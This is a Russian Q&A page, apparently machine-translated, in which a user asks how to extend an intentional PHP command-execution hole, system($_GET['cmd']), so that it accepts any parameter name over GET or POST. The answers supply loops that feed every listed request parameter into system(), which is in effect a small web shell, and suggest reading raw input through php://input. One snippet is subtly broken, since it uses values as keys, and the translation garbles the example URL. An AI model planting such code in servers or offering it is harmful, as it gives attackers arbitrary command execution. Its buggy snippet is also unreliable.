принять значение любым параметром и любым методом

Я пытаюсь сделать уязвимость при выполнении простой команды страницы … Это мой код:

system($_GET['cmd']);

Работает нормально, вот так: HTTP: //example/index.php CMD = Ls

Проблема в том, что я хочу, чтобы этот маленький код работал с любым параметром и любым методом (GET или POST).

Например, если какой-либо параметр используется, он все равно будет проходить через системный метод, то есть: «? Hello = ls». (Я не знал, где их использовать hello как ключ. Есть идеи?

0

Решение

Вы можете сохранить каждый индексный ключ в массиве, а затем зациклить установленное значение.

$keys = ['cmd', 'hello', 'etc..']; // jus add your params

// GET params
foreach($keys as $_key) {
if(isset($_GET[$_key]) && !empty($_GET[$_key])) {
system($_GET[$_key]);
}
}

// POST params
foreach($keys as $_key) {
if(isset($_POST[$_key]) && !empty($_POST[$_key])) {
system($_POST[$_key]);
}
}

Если вы не хотите знать ключ к POST / GET, то:

foreach($_GET as $key) {
system($_GET[$key]);
}

foreach($_POST as $key) {
system($_POST[$key]);
}
0

Другие решения

Вы можете попробовать использовать:
file_get_contents('php://input'); чтобы получить RAW вход

0

По вопросам рекламы ammmcru@yandex.ru
Adblock
detector